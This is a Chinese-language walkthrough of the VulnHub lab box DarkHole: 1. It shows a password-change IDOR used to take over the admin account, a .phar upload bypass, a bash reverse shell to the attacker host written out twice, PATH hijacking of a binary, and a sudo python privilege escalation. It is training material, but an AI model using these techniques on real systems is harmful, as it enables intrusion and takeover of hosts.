vulnhub之 DarkHole: 1

0x001 信息收集

kali ip : 192.168.181.129

靶机 ip ：192.168.181.141

首先进行ip扫描

 对端口进行扫描

 开启了22和80端口

发现端口进行探测没有漏洞可以利用，于是我打开网页

 于是我进行查看源码

于是发现一个login.php的文件，这可能有提示

 于是进行目录扫描

gobuster dir -u http://192.168.181.141/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -x html,php,bak,txt

 在http://192.168.181.141/upload/发现一张图片

 于是下载到本地，一开始以为有隐写，尝试多次没有成功，后来还是打开login.php的页面

在login.php页面我可以进行注册并登录

0x002 网页渗透

于是我对修改密码的操作进行抓包，当我们看到id为7，那么我猜测1是不是就是admin用户呢

密码修改成功

 于是使用admin进行登录

 于是我上传php的文件

 没有上传成功，于是我将其后缀改为‘.phar’

 文件上传成功，将其运行，并在kali上使用netcat进行监听

 于是进行外壳反弹

bash -c 'bash -i >& /dev/tcp/192.168.181.129/9999 0>&1'

 于是在/home/john发现一个属组是www-data用户的

 于是进行查看

 于是我发现一个ssh密钥

 于是在kali上生成ssh密钥

ssh-keygen -b 2048 -f key

于是在kali上打开http服务

python3 -m http.server 9999

 并删除靶机上的密钥

 于是将我们生成的密钥下载到目录下

于是我使用ssh进行登录john账号，但是没有成功

但是我发现export可以运行

cd /tmp

echo bash > id

chmod 777 id

export PATH=/tmp:$PATH

echo $PATH

cd /home/john

./toto

 于是再次进行外壳反弹

bash -c 'bash -i >& /dev/tcp/192.168.181.129/5555 0>&1'

 于是我查看了john的密码

 于是进行ssh登录

ssh john@192.168.181.141

 

 于是获得第一个flag

 0x003 提权

于是我对file.php进行编辑

 

 于是运行file.php

sudo /usr/bin/python3 /home/john/file.py

 

 上面说我们可以提权，于是我进行修改

 再次运行file.py

 于是获得最终flag